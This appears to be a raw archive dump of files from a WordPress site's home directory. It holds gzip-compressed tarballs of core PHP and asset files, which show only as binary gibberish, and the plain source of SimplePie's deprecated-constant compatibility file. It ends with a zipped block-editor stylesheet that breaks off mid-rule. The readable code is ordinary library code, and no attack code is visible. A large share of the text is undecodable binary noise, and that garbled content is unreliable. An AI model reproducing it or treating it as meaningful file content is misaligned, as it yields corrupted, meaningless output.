�q��ymr�N3:��\Z��@���#�P@Wy����B�Jxc��E95�0%���K�urD���B�0\��[L�h*A
'9�*\vw�8�N
�e)HP�
#�ބS}C�$���l1��
đr�E赠D+c�,���d���!|j	��6��P����S��D����
cI�� ��Zf	�1�����N��l	�V�GFʸks�輭C�auq�h�������}�O�n�y���Db0$�I�MUTe�����])}���TZ�Յ��\
��"�$�.[�w�Hv
����n��v�P����L�תo4'��Ө�͍�PԠ�w7�N�5��1��ahlri�)!�
>�((n1���nn�h�����֏�Ur�~�Ү�6%㩸M���Rr4�6Fv�Yr��{�d%���1����`)�A6$\�6Ww� ��3`g�nN߰�5&�36ئx�7^��r��y��M����=R��_6��]�5z�/B��f�硰{��m&��X=(RTՌ�D��L��bD�91{��*ȉ�U,t���b/�b/�b��	fC�14338/embed-404.php.php.tar.gz000064400000001231151024420100011274 0ustar00��T�n�0�5�����bI��h�EN=�@�M�,�ɒ�S�}��c�i��� �2��yb�z��v�|�7�G�Q"�I!7��CӨn�� �>���\H�
5�̵�㜼���5��e�Lu�O���]-�'O-�v~�_��_���E~��&��U�X@�C�o��:f�O`��V�hUI6�%0�;%�m���F�����3�
|�}�X�6�T#�+A4��xF
)ֈ}�`)�p���{���@���Ƹ�P�#�
-HE�(F�������Y�jƷl�p�L��Do����g߹�r�1j��L/Ӝ�ϒU����#��LN��;o�����@3T8��G��+bGv��S����t�X�E�˄��m�_9�<*���i\$�h#�k&��4��3LZ"A�^��;��z�=��}YA<�	}]U�A�;��Z�ߢ'��Q��xN��Z;řJ���i
g���ϧ��P��u�
vڏ댒��`�lnGcH�.�j0�Z���������p�z�o�U�Nm�l�S�¨u�-2F�ڏ=���?W�*O)=��@m���O�th�BkŇ��u����ݠ8�_�*�S%�l!�:d��&�$�l�Q���R�^���v*'\�� �����}��؋��h�Kq��
14338/SimplePie.php.tar000064400000045000151024420100010377 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php000064400000041511151024327450027314 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2017, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.7.0
 * @copyright 2004-2017 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\SimplePie as NamespacedSimplePie;

class_exists('SimplePie\SimplePie');

// @trigger_error(sprintf('Using the "SimplePie" class is deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead */
    class SimplePie extends NamespacedSimplePie
    {
    }
}

/**
 * SimplePie Name
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAME instead.
 */
define('SIMPLEPIE_NAME', NamespacedSimplePie::NAME);

/**
 * SimplePie Version
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::VERSION instead.
 */
define('SIMPLEPIE_VERSION', NamespacedSimplePie::VERSION);

/**
 * SimplePie Build
 * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_build() instead.
 */
define('SIMPLEPIE_BUILD', gmdate('YmdHis', \SimplePie\Misc::get_build()));

/**
 * SimplePie Website URL
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::URL instead.
 */
define('SIMPLEPIE_URL', NamespacedSimplePie::URL);

/**
 * SimplePie Useragent
 * @see SimplePie::set_useragent()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_default_useragent() instead.
 */
define('SIMPLEPIE_USERAGENT', \SimplePie\Misc::get_default_useragent());

/**
 * SimplePie Linkback
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LINKBACK instead.
 */
define('SIMPLEPIE_LINKBACK', NamespacedSimplePie::LINKBACK);

/**
 * No Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_NONE instead.
 */
define('SIMPLEPIE_LOCATOR_NONE', NamespacedSimplePie::LOCATOR_NONE);

/**
 * Feed Link Element Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY instead.
 */
define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', NamespacedSimplePie::LOCATOR_AUTODISCOVERY);

/**
 * Local Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', NamespacedSimplePie::LOCATOR_LOCAL_EXTENSION);

/**
 * Local Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_BODY', NamespacedSimplePie::LOCATOR_LOCAL_BODY);

/**
 * Remote Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', NamespacedSimplePie::LOCATOR_REMOTE_EXTENSION);

/**
 * Remote Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_BODY', NamespacedSimplePie::LOCATOR_REMOTE_BODY);

/**
 * All Feed Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_ALL instead.
 */
define('SIMPLEPIE_LOCATOR_ALL', NamespacedSimplePie::LOCATOR_ALL);

/**
 * No known feed type
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_NONE instead.
 */
define('SIMPLEPIE_TYPE_NONE', NamespacedSimplePie::TYPE_NONE);

/**
 * RSS 0.90
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_090 instead.
 */
define('SIMPLEPIE_TYPE_RSS_090', NamespacedSimplePie::TYPE_RSS_090);

/**
 * RSS 0.91 (Netscape)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', NamespacedSimplePie::TYPE_RSS_091_NETSCAPE);

/**
 * RSS 0.91 (Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_USERLAND instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_USERLAND', NamespacedSimplePie::TYPE_RSS_091_USERLAND);

/**
 * RSS 0.91 (both Netscape and Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091 instead.
 */
define('SIMPLEPIE_TYPE_RSS_091', NamespacedSimplePie::TYPE_RSS_091);

/**
 * RSS 0.92
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_092 instead.
 */
define('SIMPLEPIE_TYPE_RSS_092', NamespacedSimplePie::TYPE_RSS_092);

/**
 * RSS 0.93
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_093 instead.
 */
define('SIMPLEPIE_TYPE_RSS_093', NamespacedSimplePie::TYPE_RSS_093);

/**
 * RSS 0.94
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_094 instead.
 */
define('SIMPLEPIE_TYPE_RSS_094', NamespacedSimplePie::TYPE_RSS_094);

/**
 * RSS 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_10 instead.
 */
define('SIMPLEPIE_TYPE_RSS_10', NamespacedSimplePie::TYPE_RSS_10);

/**
 * RSS 2.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_20 instead.
 */
define('SIMPLEPIE_TYPE_RSS_20', NamespacedSimplePie::TYPE_RSS_20);

/**
 * RDF-based RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_RDF instead.
 */
define('SIMPLEPIE_TYPE_RSS_RDF', NamespacedSimplePie::TYPE_RSS_RDF);

/**
 * Non-RDF-based RSS (truly intended as syndication format)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_SYNDICATION instead.
 */
define('SIMPLEPIE_TYPE_RSS_SYNDICATION', NamespacedSimplePie::TYPE_RSS_SYNDICATION);

/**
 * All RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_ALL instead.
 */
define('SIMPLEPIE_TYPE_RSS_ALL', NamespacedSimplePie::TYPE_RSS_ALL);

/**
 * Atom 0.3
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_03 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_03', NamespacedSimplePie::TYPE_ATOM_03);

/**
 * Atom 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_10 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_10', NamespacedSimplePie::TYPE_ATOM_10);

/**
 * All Atom
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_ALL instead.
 */
define('SIMPLEPIE_TYPE_ATOM_ALL', NamespacedSimplePie::TYPE_ATOM_ALL);

/**
 * All feed types
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ALL instead.
 */
define('SIMPLEPIE_TYPE_ALL', NamespacedSimplePie::TYPE_ALL);

/**
 * No construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_NONE instead.
 */
define('SIMPLEPIE_CONSTRUCT_NONE', NamespacedSimplePie::CONSTRUCT_NONE);

/**
 * Text construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_TEXT instead.
 */
define('SIMPLEPIE_CONSTRUCT_TEXT', NamespacedSimplePie::CONSTRUCT_TEXT);

/**
 * HTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_HTML', NamespacedSimplePie::CONSTRUCT_HTML);

/**
 * XHTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_XHTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_XHTML', NamespacedSimplePie::CONSTRUCT_XHTML);

/**
 * base64-encoded construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_BASE64 instead.
 */
define('SIMPLEPIE_CONSTRUCT_BASE64', NamespacedSimplePie::CONSTRUCT_BASE64);

/**
 * IRI construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_IRI instead.
 */
define('SIMPLEPIE_CONSTRUCT_IRI', NamespacedSimplePie::CONSTRUCT_IRI);

/**
 * A construct that might be HTML
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', NamespacedSimplePie::CONSTRUCT_MAYBE_HTML);

/**
 * All constructs
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_ALL instead.
 */
define('SIMPLEPIE_CONSTRUCT_ALL', NamespacedSimplePie::CONSTRUCT_ALL);

/**
 * Don't change case
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::SAME_CASE instead.
 */
define('SIMPLEPIE_SAME_CASE', NamespacedSimplePie::SAME_CASE);

/**
 * Change to lowercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOWERCASE instead.
 */
define('SIMPLEPIE_LOWERCASE', NamespacedSimplePie::LOWERCASE);

/**
 * Change to uppercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::UPPERCASE instead.
 */
define('SIMPLEPIE_UPPERCASE', NamespacedSimplePie::UPPERCASE);

/**
 * PCRE for HTML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', NamespacedSimplePie::PCRE_HTML_ATTRIBUTE);

/**
 * PCRE for XML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', NamespacedSimplePie::PCRE_XML_ATTRIBUTE);

/**
 * XML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XML instead.
 */
define('SIMPLEPIE_NAMESPACE_XML', NamespacedSimplePie::NAMESPACE_XML);

/**
 * Atom 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_10', NamespacedSimplePie::NAMESPACE_ATOM_10);

/**
 * Atom 0.3 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_03 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_03', NamespacedSimplePie::NAMESPACE_ATOM_03);

/**
 * RDF Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RDF instead.
 */
define('SIMPLEPIE_NAMESPACE_RDF', NamespacedSimplePie::NAMESPACE_RDF);

/**
 * RSS 0.90 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_090 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_090', NamespacedSimplePie::NAMESPACE_RSS_090);

/**
 * RSS 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10', NamespacedSimplePie::NAMESPACE_RSS_10);

/**
 * RSS 1.0 Content Module Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', NamespacedSimplePie::NAMESPACE_RSS_10_MODULES_CONTENT);

/**
 * RSS 2.0 Namespace
 * (Stupid, I know, but I'm certain it will confuse people less with support.)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_20 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_20', NamespacedSimplePie::NAMESPACE_RSS_20);

/**
 * DC 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_10', NamespacedSimplePie::NAMESPACE_DC_10);

/**
 * DC 1.1 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_11 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_11', NamespacedSimplePie::NAMESPACE_DC_11);

/**
 * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO instead.
 */
define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', NamespacedSimplePie::NAMESPACE_W3C_BASIC_GEO);

/**
 * GeoRSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_GEORSS instead.
 */
define('SIMPLEPIE_NAMESPACE_GEORSS', NamespacedSimplePie::NAMESPACE_GEORSS);

/**
 * Media RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS', NamespacedSimplePie::NAMESPACE_MEDIARSS);

/**
 * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG);

/**
 * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG2);

/**
 * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG3);

/**
 * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG4);

/**
 * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG5);

/**
 * iTunes RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ITUNES instead.
 */
define('SIMPLEPIE_NAMESPACE_ITUNES', NamespacedSimplePie::NAMESPACE_ITUNES);

/**
 * XHTML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XHTML instead.
 */
define('SIMPLEPIE_NAMESPACE_XHTML', NamespacedSimplePie::NAMESPACE_XHTML);

/**
 * IANA Link Relations Registry
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY instead.
 */
define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', NamespacedSimplePie::IANA_LINK_RELATIONS_REGISTRY);

/**
 * No file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_NONE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_NONE', NamespacedSimplePie::FILE_SOURCE_NONE);

/**
 * Remote file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_REMOTE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_REMOTE', NamespacedSimplePie::FILE_SOURCE_REMOTE);

/**
 * Local file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_LOCAL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_LOCAL', NamespacedSimplePie::FILE_SOURCE_LOCAL);

/**
 * fsockopen() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', NamespacedSimplePie::FILE_SOURCE_FSOCKOPEN);

/**
 * cURL file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_CURL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_CURL', NamespacedSimplePie::FILE_SOURCE_CURL);

/**
 * file_get_contents() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', NamespacedSimplePie::FILE_SOURCE_FILE_GET_CONTENTS);
14338/Category.php.php.tar.gz000064400000003360151024420100011475 0ustar00��X�o�6���W܆�u
'JҬi�U����cy��.@����X�$j$����HI���k�a?‡D���xd2��f�ɛ�o��$c2b9�RF�$�*Y�f<��x���~�3kQ�%y��1�V�dE��	���,�*v��r��OV�����'��Ã�×O8<8:~�'�~����8����TT����p��	S��c=��a�M��
�x�G%���y���2\94c.���nH��5g0�"��T�g�ќ^a1��6gS���Jx�_�tx���\A'څ���㽣���.�K�Ø
�օ�f�,�y^K�#�d]1�ɴT\HF��1)+��7�|'�RFfw)$9�*E���4ɩXŒ�Lva��9pa~�3'�$����<(�����B�$�5����)����O�}�1uR�f��D֘"�2V.��(b�V��hQ�^�U!!j�HH�0���<��N��b�۱��)
5.߃��X0�:ИGe�rE��Y������Hh*k�+�M���V��F,1�J�U�a��Ձ��a��|�b�`I��
,a�t
�5Ł�1ʘ.D�q,��*�#`�G���"G�Z�rh
L,���.j���+�
M�V8�x��{�w�Ǿ����>�.P��/|r6a�
���=���(�Ioz�����]����w�@��| ��!A{�G!q�.��3����hF^CrNBT���{wx�p���v�Ixa�+z=%�=�)��6d�!q&Cۇ��{�:�>	��M��>@��sG!{8�?���p{.��{C�r����:�k�� ��s��g�:D�����_t�ӽ�Q�<A=�C�>��0��g�9�=�ؑ�`�BNB�<�Զ�G7xC/0�M��NB[��V�5�wo����O�!�F�H�{d��ƭ}C�7�W��z�����0�����뾦�Pfk.��	�j��[���=�3w�5~OzOw�G�C�s�t;1��!��U�]�Z �`��
�Rֆ�R!��s5�͙x[��^�[7�]����9|��k�l�%O��o/�v��^�H���J'�%
�"a�\\YHSl�9��Zw�X��W̅`6�Қ�x���w�>�9��vvL�BBZl�Z=�]�͍��Ϲ=�R�ﲘ*Z3:�o��~+�+K�b���S����'��?��0��M��{�ğHvU�QD�骡�1��:9�-�����j���cb���7�ڝ�w�aJ��+	�-�+l�LԢF��
��ꏼL�պ��C�+�-�(��>�^0/�{L>Vן�����w_�����1(���§1��R:e�:6���5���/A-��ɵ~���f��cne���qtR��|q����Ztf|�(�W=]�,��$/��-X���
��6���J^%�4�9���[q��<2�vy5�t ���n�~=7��Sm��U�U�H��g�Mm���
���7wM�l���	҂Ow�*���ی~Pm�ۥ�k�>C����f��������[���@/��jgY�CG�7m�u���� �XUT��ҭXڥ~@M��Nm����{p�
��z�6��Zڎv��NW�)� "�H��U_�
a�����J2����:_��i��5<�l���.�ԮΧ-������.�Uu�n�[�u����/��P�y�~4�dz.�W/W���ߘ��8��Ɵ�LL�14338/table.tar.gz000064400000005505151024420100007436 0ustar00���n�8v^���)*W�ų2�X��<�%��CQ�D[�Ȣ������}I�.R���d��&ύ�9$}]D11	�k�(����b�f2Qֳ2��f��Ck4MG�ߖ5���a_�l"
cy^ϰ�Cs�c��(0��V��($_�g�&�U�pI[���dحy�
6��ct�j�Z�c{�\�"��fV�u�M
���u�!^�m�1q�����M^�i��>��F��(�v
�
�e�'Lѱ\��{>��;��`e�p��1@�A:���ڦ�}L�o��6M�\��ԃk7]���>��v��buf�߳!� 5,���CJ���x 2Q�o��ߌ�E�!��u�'��߿��c7�Q���k�z��õ�d�мjc"
ב��!R��ӹ�"�(���E�M�r��+ڿ�������t��~���cK�*
���}#��pC�Ej8dR�Z������$[�(
��5����ߚ
�7z�?C���=�ȖO������[Bja�r_�m�{���K�r@����ƫ��t:g��8�f��C{8xMak�WA�-�. w��gt��0:�����Ov�o���Ԓ�6�i�?C���[�$����X0���K���n�#��M|ozB����N,m�g(����l���7���Q��>�_�e���P���?��P����A���`���*�h� ����c���,�WӃ �.0�xm�s�^z�1M�)����+<�K�]��xC��>�`��}���UR)���1�@,|�W%�q���E8췩�S4�U�����f�
��R�7�`
YkQ�֖cw�YP>��\�h.�s�"x���|[�`[�x9YN���"m¿/�������͖�%l���U�����.� ��"JP#3����f���ji�yu�@ۙ�"!p�mZ�"t��G�;���x�w_c׽VuJ�n��RM�0V��^�{ԩc��53V�]�Jul�T�.�NmU���t���DmaE��u�$�@r�L�Bc��	;RoӟE���1�>�KD"�:8��6z؞@M8����7��K�q�m��	#`����k�J�{q�f�]��泌�n�85A�=8���S��/�1���=�md/�v�X"�R�+8I[��b���@�u>
�5�kv�B���T%�v3RBi���\���iLŧ/m'5�n׷�]�b�G�]�.}�-Z�%�nח�]_b蚾̋@Y/�u���?O�n��P���'�9Cy�?{�Q�Zr?�[���9N���3�-�r'M�Qۖ=���� )�6�)l
mH�DVWt)��u�&�1iqS4�-]Շ�UJ/�(��+��9�zO�����\e-���<l��B��[�\�ڋ���*��JE�|����)�\��}�~��3���X>.{�G��f��P���Pt�/w������������������JtP�s�����eJ�;m���D��r���:���:����f�����y�7��x�?�
��L������w���]��9l+}��{�����]\�%x���%���]�+��
���l�eK	���!��`߉�DRD}Q�)�r�+Ly-��E�#� ����`�
��1w�@�p0��j��`�Wd����5�m8]�Y3_
�3�`\�H�u�l��%���ņˆ������#�%"tI-#��.,0�!pu����~���j��I���L��iwY}�7�Q��C&�-O_�gx,U"��d��T��oɣ���в�$M1X„u
�~�}TrU��\��^�Rf͙�3_���
˼5iܥP}
VJ�<$�
��N19�\8)�~�`A���R���ּ��
�3���Y~��92ˋBp|�)]�!��S0L�{����]fw<4u|�K^���i�S��
t|��T��i��vw%�]OHҏ6a�	��� p<���+l3���B��2k��>���5�g��ޡ�}bH�ArHN��+\��Rm�‡X9�`Bp�B����"v|��O�E%�u�I;K��!�dԖ��RYrz��,�[�F ��#�}�%|�?��|�\�G�F�c�-w 6�����_�RHn�������AĿ�5�}��{��#-��2r�.��p�����5�4��ovH$�
�e��^"�E��U��|C�b�&��S�͓x��W=���K~њ�p��.����caR����ҝ�����Wuޟ�����$���o���mRg���=��<S�5��~&����z������]�l4����(�x[%�64TXU�x�e��$!�rՌ%�H
�qJy'���9<8)֌R�@c�OhV=V�@!�%�����;�a[gp����Dv_��l|ǻYu6�����݊�:�@=�~�JS��~�.r~�b)J�yB�i�A�j���{���L����t��I�t�ة�t��	O��i�{ "��4/��P�53��3�NIxzJB�s�q��,�W?\zB�q�&w۞����(T��#̈́��P˧����|���T���~�iՋ�{��j{�՗R:^͋������L���s�����������y��b����:�ө�?/����p�@�?��H~�s<���3�L/��C��]y���L��Cŭ��*g���P�m鑇�<��a�֯:��t8�=�KM/�1��t�2B���ԏ7$/7�j�m8�d�����ݾ��h(�Ϡ_g�E]��4ޮ��14338/buttons.zip000064400000031012151024420100007432 0ustar00PK\d[�m���editor-rtl.min.cssnu�[���.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] 